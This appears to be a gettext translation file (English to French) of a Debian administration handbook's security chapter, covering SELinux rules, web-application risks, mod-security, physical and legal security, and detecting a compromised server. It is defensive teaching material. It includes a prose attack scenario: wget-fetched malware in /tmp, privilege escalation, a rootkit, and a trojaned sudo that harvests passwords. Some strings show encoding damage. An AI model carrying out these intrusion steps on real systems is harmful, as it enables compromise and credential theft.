#| msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example: <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it's exactly what the <command>audit2allow</command> command (of the <emphasis role=\"pkg\">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial."
msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example, <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it is exactly what the <command>audit2allow</command> command (of the <emphasis role=\"pkg\">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial."
msgstr "Ainsi, il est possible de fabriquer une règle qui va autoriser cette opération, cela donnerait par exemple <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. Ce processus est automatisable et c'est ce que propose la commande <command>audit2allow</command> du paquet <emphasis role=\"pkg\">policycoreutils</emphasis>. Une telle démarche ne sera utile que si les objets impliqués sont déjà correctement étiquetés selon ce qu'il est souhaitable de cloisonner. Dans tous les cas, il faudra relire attentivement les règles pour les vérifier et les valider par rapport à votre connaissance de l'application. En effet, bien souvent cette démarche donnera des permissions plus larges que nécessaires. La bonne solution est souvent de créer de nouveaux types et d'attribuer des permissions sur ces types uniquement. Il arrive également qu'un échec sur une opération ne soit pas fatal à l'application, auquel cas il peut être préférable d'ajouter une règle <literal>dontaudit</literal> qui supprime la génération de la trace malgré le refus effectif."
msgid "<emphasis>COMPLEMENTS</emphasis> No roles in policy rules"
msgstr "<emphasis>COMPLÉMENTS</emphasis> Pas de rôle dans les règles"
msgid "<primary>Type Enforcement</primary>"
msgstr "<primary>type, application de types</primary>"
msgid "<primary>Enforcement, Type Enforcement</primary>"
msgstr "<primary>application de types</primary>"
msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights."
msgstr "On peut s'étonner que les rôles n'interviennent à aucun moment dans la création des règles. SELinux emploie uniquement les domaines pour savoir quelles opérations sont permises. Le rôle n'intervient qu'indirectement en permettant à l'utilisateur d'accéder à un autre domaine. SELinux en tant que tel est basé sur une théorie connue sous le nom de <foreignphrase>Type Enforcement</foreignphrase> (Application de types) et le type (ou domaine) est le seul élément qui compte dans l'attribution des droits."
msgid "Compiling the Files"
msgstr "Compilation des fichiers"
#, fuzzy
#| msgid "Once the 3Â files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, just run <command>make NAME=devel</command> to generate a module in the <filename>example.pp</filename> file (you can immediately load it with <command>semodule -i example.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files."
msgid "Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, rename them to <filename>myapp.<replaceable>extension</replaceable></filename> and run <command>make NAME=devel</command> to generate a module in the <filename>myapp.pp</filename> file (you can immediately load it with <command>semodule -i myapp.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files."
msgstr "Une fois que les trois fichiers (<filename>example.if</filename>, <filename>example.fc</filename> et <filename>example.te</filename>) sont conformes aux règles que l'on veut créer, il suffit d'invoquer <command>make NAME=devel</command> pour générer un module dans le fichier <filename>example.pp</filename> (que l'on peut immédiatement charger avec <command>semodule -i example.pp</command>). Si plusieurs modules sont définis, <command>make</command> créera tous les fichiers <filename>.pp</filename> correspondants."
msgid "Other Security-Related Considerations"
msgstr "Autres considérations sur la sécurité"
msgid "Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack."
msgstr "La sécurité n'est pas un simple problème de technique. C'est avant tout de bonnes habitudes et une bonne compréhension des risques. Cette section propose donc une revue de certains risques fréquents, ainsi qu'une série de bonnes pratiques, qui, selon le cas, amélioreront la sécurité ou réduiront l'impact d'une attaque fructueuse."
msgid "Inherent Risks of Web Applications"
msgstr "Risques inhérents aux applications web"
msgid "The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly."
msgstr "L'universalité des applications web a entraîné leur multiplication et il est fréquent d'en avoir plusieurs en service : un <foreignphrase>webmail</foreignphrase>, un wiki, un groupware, des forums, une galerie de photos, un blog, etc. Un grand nombre de ces applications s'appuient sur les technologies LAMP <foreignphrase>(Linux Apache Mysql PHP)</foreignphrase>. Malheureusement, beaucoup ont aussi été écrites sans faire trop attention aux problèmes de sécurité. Trop souvent, les données externes sont utilisées sans vérifications préalables et il est possible de subvertir l'appel d'une commande pour qu'il en résulte une autre, simplement en fournissant une valeur inattendue. Avec le temps, les problèmes les plus évidents ont été corrigés, mais de nouvelles failles de sécurité sont régulièrement découvertes."
msgid "<emphasis>VOCABULARY</emphasis> SQL injection"
msgstr "<emphasis>VOCABULAIRE</emphasis> Injection SQL"
#, fuzzy
#| msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type=\"block\" url=\"http://en.wikipedia.org/wiki/SQL_Injection\" />"
msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type=\"block\" url=\"https://en.wikipedia.org/wiki/SQL_Injection\" />"
msgstr "Lorsqu'un programme exécutant des requêtes SQL y insère des paramètres d'une manière non sécurisée, il peut être victime d'injections SQL. Il s'agit de modifier le paramètre de manière à ce que le programme exécute en réalité une version altérée de la requête SQL, soit pour endommager les données, soit pour récupérer des données auxquelles l'utilisateur ne devait pas avoir accès. <ulink type=\"block\" url=\"http://fr.wikipedia.org/wiki/Injection_SQL\" />"
msgid "<primary>SQL injection</primary>"
msgstr "<primary>Injection SQL</primary>"
msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgstr "Il est donc indispensable de mettre à jour ses applications web régulièrement pour ne pas rester vulnérable au premier pirate (amateur ou pas) qui cherchera à exploiter cette faille connue. Selon le cas, le risque varie : cela va de la destruction des données à l'exécution de commandes arbitraires, en passant par le vandalisme du site web."
msgid "Knowing What To Expect"
msgstr "Savoir Ă quoi s'attendre"
msgid "A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences."
msgstr "Ainsi donc, la vulnérabilité d'une application web est un point de départ fréquent pour un acte de piraterie. Voyons quelles peuvent en être les conséquences."
msgid "<emphasis>QUICK LOOK</emphasis> Filtering HTTP queries"
msgstr "<emphasis>DÉCOUVERTE</emphasis> Filtrer les requêtes HTTP"
#, fuzzy
#| msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgstr "Il existe des modules pour Apache 2 qui permettent de filtrer les requêtes HTTP entrantes. Il est ainsi possible de bloquer certains vecteurs d'attaques : empêcher les dépassements de tampon en limitant la longueur de certains paramètres, par exemple. D'une manière générale, il est possible de valider en amont les paramètres envoyés à une application web et de restreindre l'accès à celle-ci selon de nombreux critères. Il est même possible de combiner cela avec une modification dynamique du pare-feu pour bloquer pendant quelques minutes un utilisateur ayant enfreint une des règles mises en place."
msgid "Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned."
msgstr "Ces vérifications sont pénibles à mettre en place, mais elles s'avèrent assez efficaces si l'on est contraint de déployer une application web à la sécurité incertaine."
msgid "<emphasis>mod-security2</emphasis> (in the <emphasis role=\"pkg\">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role=\"pkg\">modsecurity-crs</emphasis> package) that you can easily enable."
msgstr "<emphasis>mod-security2</emphasis> (paquet <emphasis role=\"pkg\">libapache2-mod-security2</emphasis>) est le principal module qui peut être employé dans cette optique. Il est accompagné de nombreuses règles prêtes à l'emploi et simples à installer (dans le paquet <emphasis role=\"pkg\">modsecurity-crs</emphasis> package)."
msgid "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></primary>"
msgid "<primary><emphasis>mod-security</emphasis></primary>"
msgstr "<primary><emphasis>mod-security</emphasis></primary>"
msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. <emphasis>Script-kiddies</emphasis> only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgstr "Selon l'intention du pirate, son intrusion sera plus ou moins évidente. Les <foreignphrase>script-kiddies</foreignphrase> se contentent d'appliquer les recettes toutes prêtes qu'ils trouvent sur des sites web. Le vandalisme d'une page web ou la suppression des données sont les issues les plus probables. Parfois, c'est plus subtil et ils ajoutent du contenu invisible dans les pages web afin d'améliorer le référencement de certains de leurs sites."
msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack."
msgstr "Un pirate plus avancé ne se contentera pas de ce maigre résultat. Un scénario catastrophe pourrait se poursuivre comme suit : le pirate a obtenu la possibilité d'exécuter des commandes en tant qu'utilisateur <literal>www-data</literal>, mais cela requiert de nombreuses manipulations pour chaque commande. Il va chercher à se faciliter la vie en installant d'autres applications web précisément développées pour exécuter à distance toutes sortes de commandes : naviguer dans l'arborescence, analyser les droits, télécharger des fichiers, en déposer, exécuter des commandes et, le summum, mettre à disposition un interpréteur de commandes par le réseau. Très fréquemment, la faille lui permettra de lancer un <command>wget</command> qui va télécharger un programme malfaisant dans <filename>/tmp/</filename> et il l'exécutera dans la foulée. Le programme sera téléchargé depuis un serveur étranger qui, lui aussi, a été compromis, l'intérêt étant de brouiller les pistes si jamais l'on voulait remonter à l'origine de l'attaque."
msgid "At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access."
msgstr "À ce stade, l'attaquant a tellement de liberté qu'il installe souvent un <foreignphrase>bot</foreignphrase> IRC (un robot qui se connecte à un serveur IRC et qui peut être commandé par ce biais). Il sert souvent à échanger des fichiers illégaux (films et logiciels piratés, etc.). Un pirate déterminé peut vouloir aller encore plus loin. Le compte <literal>www-data</literal> ne permet pas de profiter pleinement de la machine ; il va donc chercher à obtenir les privilèges de l'administrateur. C'est théoriquement impossible, mais si l'application web n'était pas à jour, il est probable que le noyau ou un autre programme ne le soit pas non plus. D'ailleurs, l'administrateur avait bien vu passer l'annonce d'une vulnérabilité, mais puisque cela n'était exploitable que localement et que le serveur n'avait pas d'utilisateur local, il n'a pas pris soin de mettre à jour. L'attaquant profite donc de cette deuxième faille pour obtenir un accès <literal>root</literal>."
msgid "<emphasis>VOCABULARY</emphasis> Privilege escalation"
msgstr "<emphasis>VOCABULAIRE</emphasis> Élévation des privilèges"
msgid "This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights."
msgstr "Cette technique consiste à obtenir plus de droits qu'un utilisateur n'en a normalement. Le programme <command>sudo</command> est prévu pour cela : donner les droits d'administrateur à certains utilisateurs. On emploie aussi la même expression pour désigner l'action d'un pirate qui exploite une faille pour obtenir des droits qu'il ne possède pas. En anglais, l'expression est <foreignphrase>privilege escalation</foreignphrase>."
msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a <emphasis>rootkit</emphasis>, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted <command>ps</command> program will omit to list some processes, <command>netstat</command> will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing <command>sudo</command> or <command>ssh</command> with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgstr "Maintenant qu'il règne en maître sur la machine, il va essayer de garder cet accès privilégié aussi longtemps que possible. Il va installer un <foreignphrase>rootkit</foreignphrase> : il s'agit d'un programme qui va remplacer certains composants du système afin de ré-obtenir facilement les privilèges d'administrateur et qui va tenter de dissimuler son existence, ainsi que les traces de l'intrusion. Le programme <command>ps</command> omettra certains processus, le programme <command>netstat</command> ne mentionnera pas certaines connexions actives, etc. Grâce aux droits <literal>root</literal>, l'attaquant a pu analyser tout le système, mais il n'a pas trouvé de données importantes. Il va alors essayer d'accéder à d'autres machines du réseau de l'entreprise. Il analyse le compte de l'administrateur local et consulte les fichiers d'historique pour retrouver les machines auxquelles l'administrateur s'est connecté. Il peut remplacer <command>sudo</command> par une version modifiée qui enregistre (et lui fait parvenir) le mot de passe saisi. La prochaine fois que l'administrateur viendra effectuer une opération sur ce serveur, le pirate obtiendra son mot de passe et pourra librement l'essayer sur les serveurs détectés."
msgid "This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures."
msgstr "Pour éviter d'en arriver là , il y a de nombreuses mesures à prendre. Les prochaines sections s'attacheront à en présenter quelques-unes."
msgid "Choosing the Software Wisely"
msgstr "Bien choisir les logiciels"
msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as <literal>SecurityFocus.com</literal>, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgstr "Une fois sensibilisé aux problèmes potentiels de sécurité, il faut y faire attention à toutes les étapes de la mise en place d'un service et en premier lieu, lors du choix du logiciel à installer. De nombreux sites comme <literal>SecurityFocus.com</literal> recensent les vulnérabilités découvertes et on peut ainsi se faire une idée de la sûreté d'un logiciel avant de le déployer. Il faut évidemment mettre en balance cette information avec la popularité dudit logiciel : plus nombreux sont ses utilisateurs, plus il constitue une cible intéressante et plus il sera scruté de près. Au contraire, un logiciel anodin peut être truffé de trous de sécurité, mais comme personne ne l'utilise, aucun audit de sécurité n'aura été réalisé."
msgid "<emphasis>VOCABULARY</emphasis> Security audit"
msgstr "<emphasis>VOCABULAIRE</emphasis> Audit de sécurité"
msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements."
msgstr "Un audit de sécurité est une lecture et une analyse du code source afin de trouver toutes les failles de sécurité qu'il pourrait contenir. Un audit est souvent préventif ; il est réalisé pour s'assurer que le programme est conforme à certaines exigences de sécurité."
#, fuzzy
#| msgid "In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgid "In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgstr "Le monde du logiciel libre offre souvent le choix. Il faut prendre le temps de bien choisir en fonction de ses critères propres. Plus un logiciel dispose de fonctionnalités intégrées, plus le risque est grand qu'une faille se cache quelque part dans le code. Il ne sert donc à rien de retenir systématiquement le logiciel le plus avancé ; il vaut souvent mieux privilégier le logiciel le plus simple qui répond à tous les besoins exprimés."
msgid "<emphasis>VOCABULARY</emphasis> Zero-day exploit"
msgstr "<emphasis>VOCABULAIRE</emphasis> <foreignphrase>Zero day exploit</foreignphrase>"
msgid "A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program."
msgstr "Une attaque de type <foreignphrase>zero day exploit</foreignphrase> est imparable. Il s'agit d'une attaque utilisant une faille qui n'est pas encore connue des auteurs du logiciel."
msgid "Managing a Machine as a Whole"
msgstr "GĂ©rer une machine dans son ensemble"
msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine."
msgstr "La plupart des distributions Linux installent en standard un certain nombre de services Unix ainsi que de nombreux utilitaires. Dans bien des cas, ils ne sont pas nécessaires au bon fonctionnement des services que l'administrateur met en place sur la machine. Comme bien souvent en sécurité, il vaut mieux supprimer tout ce qui n'est pas nécessaire. En effet, cela ne sert à rien de s'appuyer sur un serveur FTP sécurisé si une faille dans un service inutilisé fournit un accès administrateur à la machine."
msgid "By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible."
msgstr "C'est la même logique qui incite à configurer un pare-feu n'autorisant l'accès qu'aux services qui doivent être accessibles au public."
msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions)."
msgstr "Les capacités des ordinateurs permettent facilement d'héberger plusieurs services sur une même machine. Ce choix se justifie économiquement : un seul ordinateur à administrer, moins d'énergie consommée, etc. Mais du point de vue de la sécurité, ce choix est plutôt gênant. La compromission d'un service entraîne souvent l'accès à la machine complète et donc aux données des autres services hébergés sur le même ordinateur. Pour limiter les risques de ce point de vue, il est intéressant d'isoler les différents services. Cela peut se faire soit avec de la virtualisation, chaque service étant hébergé sur une machine virtuelle ou un conteneur dédié, soit avec AppArmor/SELinux, en paramétrant les droits associés au démon (programme serveur) en charge de chaque service."
msgid "Users Are Players"
msgstr "Les utilisateurs sont des acteurs"
msgid "Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on."
msgstr "Lorsqu'on parle de sécurité, on pense immédiatement à la protection contre les attaques des pirates anonymes qui se camouflent dans l'immensité d'Internet. On oublie trop souvent que les risques proviennent aussi de l'intérieur : un employé en instance de licenciement qui télécharge des dossiers sur les projets les plus importants et qui les propose à la concurrence, un commercial négligent qui reste connecté pendant qu'il s'absente alors qu'il reçoit un nouveau prospect, un utilisateur maladroit qui a supprimé le mauvais répertoire par erreur, etc."
msgid "The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks."
msgstr "La réponse à ces problématiques passe parfois par de la technique : il ne faut pas donner plus que les accès nécessaires et il convient d'avoir des sauvegardes régulières. Mais dans la plupart des cas, il s'agit avant tout de prévention en formant les utilisateurs afin qu'ils puissent mieux éviter les risques."
msgid "<emphasis>QUICK LOOK</emphasis> <emphasis role=\"pkg\">autolog</emphasis>"
msgstr "<emphasis>DÉCOUVERTE</emphasis> <emphasis role=\"pkg\">autolog</emphasis>"
msgid "The <emphasis role=\"pkg\">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons."
msgstr "Le paquet <emphasis role=\"pkg\">autolog</emphasis> fournit un logiciel déconnectant automatiquement les utilisateurs inactifs (après un délai configurable). Il tue aussi les processus utilisateurs qui persistent après la déconnexion de ces derniers (en les empêchant ainsi d'avoir leurs propres démons)."
msgid "Physical Security"
msgstr "Sécurité physique"
msgid "There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated."
msgstr "Il ne sert à rien de sécuriser l'ensemble de vos services si les ordinateurs sous-jacents ne sont pas eux-mêmes protégés. Il est probablement judicieux que les données les plus importantes soient stockées sur des disques en RAID que l'on peut remplacer à chaud, parce que justement on tient à garantir leur préservation malgré la faillibilité des disques. Mais il serait regrettable qu'un livreur de pizza puisse s'introduire dans le bâtiment et faire un saut dans la salle des serveurs pour emmener les quelques disques... Qui a accès à la salle des machines ? Y a-t-il une surveillance des accès ? Voilà quelques exemples de questions qu'il faut se poser lorsque l'on considère le problème de la sécurité physique."
msgid "Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox."
msgstr "On peut aussi inclure sous cette bannière la prise en compte des risques d'accidents tels que les incendies. C'est ce risque qui justifie que les sauvegardes soient stockées dans un autre bâtiment ou du moins dans un coffre ignifugé."
msgid "Legal Liability"
msgstr "Responsabilité juridique"
msgid "An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit."
msgstr "En tant qu'administrateur, vous bénéficiez, implicitement ou non, de la confiance des utilisateurs ainsi que des autres usagers du réseau. Évitez toute négligence dont des malfaisants sauraient profiter ."
#, fuzzy
#| msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgstr "Un pirate prenant le contrôle de votre machine, puis l'employant comme une sorte de base avancée (on parle de système relais) afin de commettre un méfait, pourrait vous causer de l'embarras puisque des tiers verront en vous, d'emblée, le pirate ou son complice. Dans le cas le plus fréquent, le pirate emploiera votre machine afin d'expédier du spam, ce qui n'aura vraisemblablement pas d'impact majeur (hormis des inscriptions éventuelles sur des listes noires qui limiteraient votre capacité à expédier des messages) mais n'enthousiasmera personne. Dans d'autres cas, des exactions seront commises grâce à votre machine, par exemple des attaques par déni de service. Elles induiront parfois un manque à gagner, car rendront indisponibles des services logiciels ou détruiront des données, voire un coût, parce qu'une entité s'estimant lésée intentera une action en justice (la détentrice des droits de diffusion d'une œuvre indûment mise à disposition via votre machine, ou encore une entreprise engagée à maintenir une disponibilité donnée via un contrat de qualité de service (SLA-SLM) et se voyant contrainte d'acquitter des pénalités à cause du piratage)."
msgid "When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks."
msgstr "Vous souhaiterez alors étayer vos protestations d'innocence en produisant des éléments probants montrant l'activité douteuse menée sur votre système par des tiers employant une adresse IP donnée. Cela restera impossible si, imprudemment, vous négligez les recommandations de ce chapitre et laissez le pirate disposer facilement d'un compte privilégié (en particulier le compte <literal>root</literal>) grâce auquel il effacera ses propres traces."
msgid "Dealing with a Compromised Machine"
msgstr "En cas de piratage"
msgid "Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances."
msgstr "Malgré toute la bonne volonté et tout le soin apporté à la politique de sécurité, tout administrateur informatique est tôt ou tard confronté à un acte de piratage. Cette section donne des lignes directrices pour bien réagir face à ces fâcheux événements."
msgid "Detecting and Seeing the Cracker's Intrusion"
msgstr "DĂ©tecter et constater le piratage"
msgid "The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure."
msgstr "Avant de pouvoir agir face à un piratage, il faut se rendre compte que l'on est effectivement victime d'un tel acte. Ce n'est pas toujours le cas... surtout si l'on ne dispose pas d'une infrastructure de supervision adéquate."
#, fuzzy
#| msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:"
msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:"
msgstr "Les actes de piratage sont souvent détectés lorsqu'ils ont des conséquences directes sur les services légitimes hébergés sur la machine : la lenteur soudaine de la connexion, l'impossibilité de se connecter pour certains utilisateurs ou tout autre dysfonctionnement. Face à ces problèmes, l'administrateur est obligé de se pencher sur la machine et d'étudier de plus près ce qui ne tourne pas rond. C'est à ce moment qu'il va découvrir la présence d'un processus inhabituel, nommé par exemple <literal>apache</literal> au lieu du <literal>/usr/sbin/apache2</literal> habituel. Alerté par ce détail, il note le numéro du processus et consulte <filename>/proc/<replaceable>pid</replaceable>/exe</filename> pour savoir quel programme se cache derrière ce processus :"
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>ls -al /proc/3719/exe</userinput>\n"
"<computeroutput>lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc</computeroutput>\n"
" "
msgstr ""
"\n"
"<computeroutput># </computeroutput><userinput>ls -al /proc/3719/exe</userinput>\n"
"<computeroutput>lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc</computeroutput>\n"
" "
msgid "A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised."
msgstr "Un programme installé dans <filename>/var/tmp/</filename> sous l'identité du serveur web ! Plus de doutes possibles, il y a eu piratage."
msgid "This is only one example, but many other hints can ring the administrator's bell:"
